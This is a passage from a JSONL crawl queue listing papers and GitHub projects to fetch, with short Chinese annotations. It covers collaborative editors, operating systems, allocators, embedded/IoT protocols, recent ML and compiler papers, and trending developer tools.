Rust","meta":{"col3":"2024","col4":"Atom 团队;GPUI + CRDT + tree-sitter;端到端 Rust + 协同编辑实践范本"},"url":"https://zed.dev/blog/zed-decoded-architecture","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"eg-walker-collab-text-2024","area":"papers","topic":"editors-ide","title":"Collaborative Text Editing with Eg-walker: Better, Faster, Smaller","meta":{"col3":"2024","col4":"Kleppmann;OT 与 CRDT 之间的折中;显著降低协同编辑内存与加载时间"},"url":"https://arxiv.org/abs/2409.14252","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"yjs-crdt-overview","area":"papers","topic":"editors-ide","title":"Yjs: Shared Editing with CRDTs","meta":{"col3":"2020","col4":"Kevin Jahns;现代 web 协同编辑事实库;ProseMirror/CodeMirror/TipTap/BlockNote 后端"},"url":"https://docs.yjs.dev/","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"automerge-json-crdt-2017","area":"papers","topic":"editors-ide","title":"A Conflict-Free Replicated JSON Datatype","meta":{"col3":"2017","col4":"Kleppmann-Beresford;JSON CRDT 形式化;Automerge 1/2 演化的源"},"url":"https://arxiv.org/abs/1608.03960","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"operational-transform-jupiter-1995","area":"papers","topic":"editors-ide","title":"High-Latency, Low-Bandwidth Windowing in the Jupiter Collaboration System","meta":{"col3":"1995","col4":"Nichols et al.;Google Docs / Etherpad 使用的 OT 算法源头"},"url":"https://dl.acm.org/doi/10.1145/215585.215706","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"prosemirror-architecture","area":"papers","topic":"editors-ide","title":"ProseMirror: A Toolkit for Building Rich-Text Editors","meta":{"col3":"2017","col4":"Marijn Haverbeke;schema-driven 富文本,Notion/Atlassian/Confluence 编辑器后端"},"url":"https://prosemirror.net/docs/guide/","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"rust-analyzer-architecture","area":"papers","topic":"editors-ide","title":"Rust Analyzer: Architecture","meta":{"col3":"2019","col4":"Aleksey Kladov;增量分析 + lazy evaluation + on-demand compiler;现代 IDE 引擎设计教科书"},"url":"https://github.com/rust-lang/rust-analyzer/blob/master/docs/dev/architecture.md","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"kakoune-vim-philosophy","area":"papers","topic":"editors-ide","title":"Kakoune: An Object-Oriented Modal Editor","meta":{"col3":"2020","col4":"把 Vim 的 verb-noun 颠倒成 noun-verb;多光标 first-class;Helix 直接继承其设计"},"url":"https://kakoune.org/why-kakoune/why-kakoune.html","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"mach-rashid-1986","area":"papers","topic":"operating-systems","title":"Mach: A New Kernel Foundation for UNIX Development","meta":{"col3":"1986","col4":"Rashid et al.;微内核与 IPC 范式;macOS/iOS XNU 的 Mach 部分直接继承"},"url":"https://www.cs.cmu.edu/afs/cs/project/mach/public/www/doc/publications/usenix86.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"l4-microkernel-1995","area":"papers","topic":"operating-systems","title":"On Micro-Kernel Construction (L4)","meta":{"col3":"1995","col4":"Liedtke;秒级 IPC 性能 + 极简内核;seL4/Genode/Fiasco 谱系起点"},"url":"https://os.itec.kit.edu/downloads/sosp95-mkernel-construction.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"sel4-formal-2009","area":"papers","topic":"operating-systems","title":"seL4: Formal Verification of an OS Kernel","meta":{"col3":"2009","col4":"Klein et al. SOSP'09;首个端到端形式化验证内核;安全/航空/防御领域基线"},"url":"https://sel4.systems/Info/Docs/seL4-paper-CACM.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"singularity-os-2007","area":"papers","topic":"operating-systems","title":"Singularity: Rethinking the Software Stack","meta":{"col3":"2007","col4":"Hunt-Larus;软件隔离进程 + 类型化 IPC;Rust-style safety 在 OS 层的早期探索"},"url":"https://www.microsoft.com/en-us/research/wp-content/uploads/2007/04/osr2007_rethinkingsoftwarestack.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"mirage-unikernel-2013","area":"papers","topic":"operating-systems","title":"Unikernels: Library Operating Systems for the Cloud","meta":{"col3":"2013","col4":"Madhavapeddy et al. ASPLOS'13;OCaml 编出 unikernel;冷启动 < 50ms 的 cloud OS 范本"},"url":"https://anil.recoil.org/papers/2013-asplos-mirage.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"firecracker-microvm-2020","area":"papers","topic":"operating-systems","title":"Firecracker: Lightweight Virtualization for Serverless Applications","meta":{"col3":"2020","col4":"Agache et al. NSDI'20;AWS Lambda/Fargate 的 microVM;KVM + jailer,125ms 启动 + 5MiB 内存"},"url":"https://www.usenix.org/system/files/nsdi20-paper-agache.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"io-uring-axboe-2019","area":"papers","topic":"operating-systems","title":"Efficient IO with io_uring","meta":{"col3":"2019","col4":"Jens Axboe;Linux 5.1+;共享环 + SQE/CQE,绕开 syscall 进出,DB/网络栈下一代 IO"},"url":"https://kernel.dk/io_uring.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"ebpf-linux-runtime-2024","area":"papers","topic":"operating-systems","title":"The eBPF Runtime in the Linux Kernel","meta":{"col3":"2024","col4":"Gbadamosi et al.;首篇系统化 eBPF 运行时论文;observability/network/security/scheduler 全面覆盖"},"url":"https://arxiv.org/abs/2410.00026","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"zfs-bonwick-2003","area":"papers","topic":"operating-systems","title":"The Zettabyte File System (ZFS)","meta":{"col3":"2003","col4":"Bonwick;CoW + transactional + 校验和 + snapshot;现代 filesystem 范式(Btrfs/APFS 都受影响)"},"url":"https://www.cs.hmc.edu/~rhodes/courses/cs134/papers/zfs.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"rcu-mckenney-2017","area":"papers","topic":"operating-systems","title":"What is RCU, Fundamentally?","meta":{"col3":"2017","col4":"Paul McKenney;Linux 内核读端无锁同步范式;调度器/路由表/虚存子系统都用"},"url":"https://lwn.net/Articles/262464/","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"jemalloc-evans-2006","area":"papers","topic":"operating-systems","title":"A Scalable Concurrent malloc(3) Implementation for FreeBSD","meta":{"col3":"2006","col4":"Jason Evans;jemalloc;多 arena + 线程缓存 + size class;FreeBSD/Firefox/Redis 默认"},"url":"https://people.freebsd.org/~jasone/jemalloc/bsdcan2006/jemalloc.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"tcmalloc-google-2007","area":"papers","topic":"operating-systems","title":"TCMalloc: Thread-Caching Malloc","meta":{"col3":"2007","col4":"Google;per-thread cache + central freelist + page heap;Chromium/Bazel/绝大多数 Google 服务默认"},"url":"https://google.github.io/tcmalloc/design.html","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"mimalloc-leijen-2019","area":"papers","topic":"operating-systems","title":"Mimalloc: Free List Sharding in Action","meta":{"col3":"2019","col4":"Leijen et al. MSR;segment + page + free list 分片;性能逼近 jemalloc 的同时简洁很多"},"url":"https://www.microsoft.com/en-us/research/uploads/prod/2019/06/mimalloc-tr-v1.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"dpdk-poll-mode-driver","area":"papers","topic":"operating-systems","title":"Data Plane Development Kit (DPDK) Architecture","meta":{"col3":"2014","col4":"Intel;用户态 poll-mode driver + hugepage + lockless ring;线速 100Gbps 网络栈基础"},"url":"https://www.dpdk.org/wp-content/uploads/sites/35/2014/09/DPDK-SFSummit2014-HighPerformanceNetworkingLeveragingDPDK-Brief.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"freertos-overview","area":"papers","topic":"embedded-iot","title":"FreeRTOS Reference Manual","meta":{"col3":"2003","col4":"Real Time Engineers;嵌入式 RTOS 事实标准;亚马逊 2017 收购后纳入 AWS IoT"},"url":"https://www.freertos.org/Documentation/RTOS_book.html","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"zephyr-rtos-overview","area":"papers","topic":"embedded-iot","title":"Zephyr Project: A Linux Foundation RTOS","meta":{"col3":"2017","col4":"scalable POSIX-like RTOS;蓝牙/Thread/USB 全栈支持;Nordic/Intel/NXP 主推"},"url":"https://docs.zephyrproject.org/latest/introduction/index.html","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"rate-monotonic-1973","area":"papers","topic":"embedded-iot","title":"Scheduling Algorithms for Multiprogramming in a Hard-Real-Time Environment","meta":{"col3":"1973","col4":"Liu-Layland;rate-monotonic 调度 + 利用率界定理;实时调度奠基论文"},"url":"https://dl.acm.org/doi/10.1145/321738.321743","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"priority-inversion-mars-pathfinder","area":"papers","topic":"embedded-iot","title":"What Really Happened on Mars Pathfinder","meta":{"col3":"1997","col4":"Mike Jones;火星探路者 reset 案例;priority inheritance 经典 case study"},"url":"https://www.cs.unc.edu/~anderson/teach/comp790/papers/mars_pathfinder_long_version.html","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"matter-protocol-1-0","area":"papers","topic":"embedded-iot","title":"Matter 1.0 Specification","meta":{"col3":"2022","col4":"CSA;统一 Apple/Google/Amazon/Samsung 智能家居协议;基于 Thread/WiFi + IPv6"},"url":"https://csa-iot.org/all-solutions/matter/","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"mqtt-v5-spec","area":"papers","topic":"embedded-iot","title":"MQTT Version 5.0 OASIS Standard","meta":{"col3":"2019","col4":"publish/subscribe 轻量协议;AWS IoT/Azure IoT/HiveMQ 实现;session 共享/properties 增强"},"url":"https://docs.oasis-open.org/mqtt/mqtt/v5.0/mqtt-v5.0.html","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"coap-rfc7252","area":"papers","topic":"embedded-iot","title":"Constrained Application Protocol (RFC 7252)","meta":{"col3":"2014","col4":"IETF;UDP 上的 RESTful 协议;Thread/6LoWPAN 设备首选;resource discovery + observe"},"url":"https://datatracker.ietf.org/doc/html/rfc7252","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"zigbee-vs-matter-thread-2026","area":"papers","topic":"embedded-iot","title":"Zigbee vs. Matter over Thread: Understanding IoT Protocol Performance","meta":{"col3":"2026","col4":"实测 mesh 路由恢复 / 多跳延迟 / 吞吐 trade-off;选型决策依据"},"url":"https://arxiv.org/abs/2603.04221","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"tflite-micro-2021","area":"papers","topic":"embedded-iot","title":"TensorFlow Lite Micro: Embedded ML for TinyML Systems","meta":{"col3":"2021","col4":"Google;针对 < 1MB SRAM MCU 的 ML runtime;Cortex-M0+ 上跑 keyword spotting/wake word"},"url":"https://arxiv.org/abs/2010.08678","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"microtvm-2020","area":"papers","topic":"embedded-iot","title":"microTVM: Tensor Virtual Machine for Microcontrollers","meta":{"col3":"2020","col4":"TVM 团队;编译 ML 到 bare-metal MCU;自动调优 CMSIS-NN kernel"},"url":"https://tvm.apache.org/docs/topic/microtvm/index.html","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"embassy-async-rust-embedded","area":"papers","topic":"embedded-iot","title":"Embassy: Modern Async Rust for Embedded Systems","meta":{"col3":"2023","col4":"Dirbaio;async/await + DMA-aware HAL;嵌入式 Rust 事实并发框架(STM32/nRF/RP2040)"},"url":"https://embassy.dev/book/","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"u-boot-bootloader","area":"papers","topic":"embedded-iot","title":"Das U-Boot Universal Bootloader","meta":{"col3":"2002","col4":"DENX;ARM/PPC/RISC-V 嵌入式启动事实标准;DTB / FIT image / verified boot 基础"},"url":"https://docs.u-boot.org/en/latest/","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"trustzone-arm-2009","area":"papers","topic":"embedded-iot","title":"ARM TrustZone Technology Overview","meta":{"col3":"2009","col4":"ARM;CPU 双世界硬件隔离;OP-TEE/Android Keystore/Samsung Knox 基础"},"url":"https://developer.arm.com/documentation/PRD29-GENC-009492/c/","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"op-tee-tee-2014","area":"papers","topic":"embedded-iot","title":"OP-TEE: Open Portable Trusted Execution Environment","meta":{"col3":"2014","col4":"Linaro;GlobalPlatform TEE 实现;Android/Automotive 安全启动 + 密钥保护事实标准"},"url":"https://optee.readthedocs.io/en/latest/","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"esp-idf-overview","area":"papers","topic":"embedded-iot","title":"ESP-IDF: Espressif IoT Development Framework","meta":{"col3":"2017","col4":"ESP32 系列开发栈;FreeRTOS-SMP 移植 + WiFi/BT 协议栈 + secure boot v2"},"url":"https://docs.espressif.com/projects/esp-idf/en/latest/esp32/","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"videomla","area":"papers","topic":"machine-learning","title":"VideoMLA: Low-Rank Latent KV Cache for Minute-Scale Autoregressive Video Diffusion","meta":{"col3":"2026","col4":"arXiv 2605.30351;MLA 在视频 diffusion;92.7% per-token KV memory 减少;1.23x 吞吐 (B200)。"},"url":"https://arxiv.org/abs/2605.30351","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"schgen-pcb","area":"papers","topic":"machine-learning","title":"SchGen: PCB Schematic Generation with Semantic-Grounded Code Representations","meta":{"col3":"2026","col4":"arXiv 2605.30345;首个 NL→PCB schematic LLM;relative placement + pin-name wiring。"},"url":"https://arxiv.org/abs/2605.30345","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"diffusion-posterior-finite","area":"papers","topic":"machine-learning","title":"When, Why, and How Do Diffusion Posterior Samplers Fail? A Finite-Sample Lens","meta":{"col3":"2026","col4":"arXiv 2605.30330;finite-sample diagnostic;hallucination/early-stop 病因图谱。"},"url":"https://arxiv.org/abs/2605.30330","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"medcase-fhir","area":"papers","topic":"machine-learning","title":"MedCase-Structured: Text-to-FHIR Dataset for EHR Diagnostic Reasoning","meta":{"col3":"2026","col4":"arXiv 2605.30295;82.5% valid FHIR;structured input 反而 LLM 准确率下降。"},"url":"https://arxiv.org/abs/2605.30295","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"reasoning-with-sampling","area":"papers","topic":"machine-learning","title":"Reasoning with Sampling: Cutting at Decision Points","meta":{"col3":"2026","col4":"arXiv 2605.30327;entropy-cut Metropolis-Hastings;mixing 与 decision count 而非 token count 成比;不需 RL。"},"url":"https://arxiv.org/abs/2605.30327","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"self-trained-verification","area":"papers","topic":"machine-learning","title":"Self-Trained Verification for Training- and Test-Time Self-Improvement","meta":{"col3":"2026","col4":"arXiv 2605.30290;STV: 训 verifier 模仿 informed self;hard math 翻倍准确率;ViL 训练循环。"},"url":"https://arxiv.org/abs/2605.30290","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"ppc-preplan","area":"papers","topic":"machine-learning","title":"Knowing What to Solve Before How: Preplan-Plan-CoT for Math Reasoning","meta":{"col3":"2026","col4":"arXiv 2605.30245;question→preplan→plan→cot;spoiler-score detector + GRPO;39/40 best metrics。"},"url":"https://arxiv.org/abs/2605.30245","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"lomo-modality","area":"papers","topic":"machine-learning","title":"LoMo: Local Modality Substitution for Deeper Vision-Language Fusion","meta":{"col3":"2026","col4":"arXiv 2605.30265;解决 carrier sensitivity;text→image 渲染交错;13 multimodal benchmarks。"},"url":"https://arxiv.org/abs/2605.30265","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"entity-tracking-states","area":"papers","topic":"machine-learning","title":"Do Language Models Track Entities Across State Changes?","meta":{"col3":"2026","col4":"arXiv 2605.30233;LM 不增量跟踪状态而是 last-token 聚合;REMOVE 用 fragile suppression tag;mechanistic+behavioral 互校。"},"url":"https://arxiv.org/abs/2605.30233","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"passnet-graph-compiler","area":"papers","topic":"compilers-pl","title":"PassNet: Scaling LLMs for Graph Compiler Pass Generation","meta":{"col3":"2026","col4":"arXiv 2605.29357;18K subgraph 数据集;ES_t 评估;frontier 比 TorchInductor 落 37%;fine-tune 提 2.67x。"},"url":"https://arxiv.org/abs/2605.29357","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"e-path-egraph","area":"papers","topic":"compilers-pl","title":"E-Path: Equality Saturation for Control-Flow Graphs","meta":{"col3":"2026","col4":"arXiv 2605.28694;instruction sequence 作为 congruence 单位;CFG-native equality saturation 原型。"},"url":"https://arxiv.org/abs/2605.28694","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"lacuna-program-holes","area":"papers","topic":"compilers-pl","title":"LACUNA: Safe Agents as Recursive Program Holes","meta":{"col3":"2026","col4":"arXiv 2605.28617;agent[T](task) typed call;type-checked rollback;BrowseComp + τ²-bench;Odersky 团队。"},"url":"https://arxiv.org/abs/2605.28617","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"verus-specgym","area":"papers","topic":"formal-methods","title":"Verus-SpecGym: Agentic Environment for Specification Autoformalization","meta":{"col3":"2026","col4":"arXiv 2605.26457;581 spec-writing tasks;exec_spec 执行测试 + Codeforces hacks;frontier 77.8%。"},"url":"https://arxiv.org/abs/2605.26457","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"milestone-phase-order","area":"papers","topic":"compilers-pl","title":"MileStone: Multi-Objective Compiler Phase Ordering with GNN+RL","meta":{"col3":"2026","col4":"arXiv 2605.23435;GNN 预测 + RL agent;同 energy budget 下 -45% 执行时间;self-evolving DB。"},"url":"https://arxiv.org/abs/2605.23435","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"rtp-llm-alibaba","area":"papers","topic":"distributed-systems","title":"RTP-LLM: Alibaba High-Performance LLM Inference Engine","meta":{"col3":"2026","col4":"arXiv 2605.29639;100M users;P/D 解耦 + hierarchical KV cache;4.7x-6.3x model load;35-37% TTFT P95。"},"url":"https://arxiv.org/abs/2605.29639","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"afd-disagg-moe","area":"papers","topic":"distributed-systems","title":"How Far Can Disaggregation Go? AFD Design-Space for MoE LLM Serving","meta":{"col3":"2026","col4":"arXiv 2605.28302;attention-FFN disagg;DeepSeek-V3.2 4k tok/s under SLO;rack/cluster 设计原则。"},"url":"https://arxiv.org/abs/2605.28302","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"hkuds-vimax","area":"projects","topic":"machine-learning","title":"HKUDS/ViMax: Agentic Video Generation (Director, Screenwriter, Producer All-in-One)","meta":{"col3":"Python","col4":"GitHub trending 30d;多 agent 协作生成视频;~8.4k stars。"},"url":"https://github.com/HKUDS/ViMax","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"moneyprinter-turbo","area":"projects","topic":"machine-learning","title":"harry0703/MoneyPrinterTurbo: AI 短视频生成","meta":{"col3":"Python","col4":"GitHub trending 30d;~73k stars;TTS+剪辑 pipeline。"},"url":"https://github.com/harry0703/MoneyPrinterTurbo","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"pixelle-video","area":"projects","topic":"machine-learning","title":"AIDC-AI/Pixelle-Video: 自动短视频创作引擎","meta":{"col3":"Python","col4":"GitHub trending 30d;~20.6k stars;阿里达摩院出品。"},"url":"https://github.com/AIDC-AI/Pixelle-Video","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"local-deep-research","area":"projects","topic":"machine-learning","title":"LearningCircuit/local-deep-research: Local LLM 研究 agent","meta":{"col3":"Python","col4":"GitHub trending 30d;~8.2k stars;95% SimpleQA;本地 LLM 替代 OpenAI deep research。"},"url":"https://github.com/LearningCircuit/local-deep-research","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"ai-trader-hkuds","area":"projects","topic":"machine-learning","title":"HKUDS/AI-Trader: 全自动 agent-native 量化交易系统","meta":{"col3":"Python","col4":"GitHub trending 30d;~19k stars;agent-native 金融交易框架。"},"url":"https://github.com/HKUDS/AI-Trader","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"trading-agents-tauric","area":"projects","topic":"machine-learning","title":"TauricResearch/TradingAgents: 多 agent LLM 量化框架","meta":{"col3":"Python","col4":"GitHub trending 30d;~81k stars;multi-agent debate 模拟交易委员会。"},"url":"https://github.com/TauricResearch/TradingAgents","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"hermes-webui","area":"projects","topic":"devtools","title":"nesquena/hermes-webui: Hermes Agent Web/Mobile UI","meta":{"col3":"Python","col4":"GitHub trending 30d;~9.6k stars;agent 操作可视化界面。"},"url":"https://github.com/nesquena/hermes-webui","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"free-claude-code","area":"projects","topic":"devtools","title":"Alishahryar1/free-claude-code: Claude Code 终端访问","meta":{"col3":"Python","col4":"GitHub trending 30d;~31k stars;通过 terminal/VSCode 接入 Claude;合规边界。"},"url":"https://github.com/Alishahryar1/free-claude-code","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"composio-codex-skills","area":"projects","topic":"devtools","title":"ComposioHQ/awesome-codex-skills: Codex skills 精选","meta":{"col3":"Python","col4":"GitHub trending 30d;~12.5k stars;practical skills 集合。"},"url":"https://github.com/ComposioHQ/awesome-codex-skills","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"ruview-wifi-radar","area":"projects","topic":"machine-learning","title":"ruvnet/RuView: WiFi-based 空间智能 + 生命体征监测","meta":{"col3":"Rust","col4":"GitHub trending 30d;~69k stars;非视觉 presence/health 检测。"},"url":"https://github.com/ruvnet/RuView","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"jcode-coding","area":"projects","topic":"devtools","title":"1jehuang/jcode: 自动开发 coding agent harness","meta":{"col3":"Rust","col4":"GitHub trending 30d;~6.7k stars;轻量化 agent 编码框架。"},"url":"https://github.com/1jehuang/jcode","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"iii-hq-platform","area":"projects","topic":"devtools","title":"iii-hq/iii: 服务组合扩展实时观测平台","meta":{"col3":"Rust","col4":"GitHub trending 30d;~17k stars;service composition + observation。"},"url":"https://github.com/iii-hq/iii","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"lean-ctx-mcp","area":"projects","topic":"devtools","title":"yvgude/lean-ctx: Agent cognitive context layer with 62 MCP tools","meta":{"col3":"Rust","col4":"GitHub trending 30d;~2.3k stars;token saving 优化。"},"url":"https://github.com/yvgude/lean-ctx","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"skills-manager-desktop","area":"projects","topic":"devtools","title":"xingkongliang/skills-manager: 跨 15+ coding tool 的 skill 桌面管理","meta":{"col3":"Rust","col4":"GitHub trending 30d;~1.8k stars;skill 跨 agent 共享。"},"url":"https://github.com/xingkongliang/skills-manager","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"brush-3d","area":"projects","topic":"graphics","title":"ArthurBrussee/brush: 3D 重建技术平台","meta":{"col3":"Rust","col4":"GitHub trending 30d;~4.6k stars;Gaussian Splatting 工程实现。"},"url":"https://github.com/ArthurBrussee/brush","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"cc-switch-desktop","area":"projects","topic":"devtools","title":"farion1231/cc-switch: 跨平台多 coding agent 桌面助手","meta":{"col3":"Rust","col4":"GitHub trending 30d;~86k stars;切换 Claude Code / Codex / 其他。"},"url":"https://github.com/farion1231/cc-switch","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"meetily-ai-meeting","area":"projects","topic":"devtools","title":"Zackriya-Solutions/meetily: 隐私优先 AI 会议助手","meta":{"col3":"Rust","col4":"GitHub trending 30d;~12.4k stars;本地处理 + 转录。"},"url":"https://github.com/Zackriya-Solutions/meetily","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"office-view-only-mac","area":"projects","topic":"engineering-culture","title":"Microsoft Office 2019/2021 for Mac view-only conversion (consumer rights)","meta":{"col3":"2026","col4":"HN 905pts;Microsoft 远程把已购永久授权降级为只读;许可与 software 自治讨论。"},"url":"https://consumerrights.wiki/w/Microsoft_Office_2019_and_2021_for_Mac_view-only_conversion_(2026)","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"seashell-desert-algo","area":"projects","topic":"engineering-culture","title":"I found a seashell in the middle of the desert (algorithmic discovery story)","meta":{"col3":"2026","col4":"HN 351pts;GitHub 长帖;算法/数学发现叙事。"},"url":"https://github.com/Hawzen/I-found-a-seashell-in-the-middle-of-the-desert","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"voxel-space-2017","area":"projects","topic":"graphics","title":"Voxel Space (Comanche-style raycaster, 2017)","meta":{"col3":"2017","col4":"HN 291pts;s-macke 经典教学;高度图 raycasting;retro 渲染原理。"},"url":"https://s-macke.github.io/VoxelSpace/","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"av2-video-spec","area":"papers","topic":"media","title":"AV2 Video Standard v1.0 (Final Specification)","meta":{"col3":"2026","col4":"HN 252pts;AOMedia AV2 终稿;下一代开源 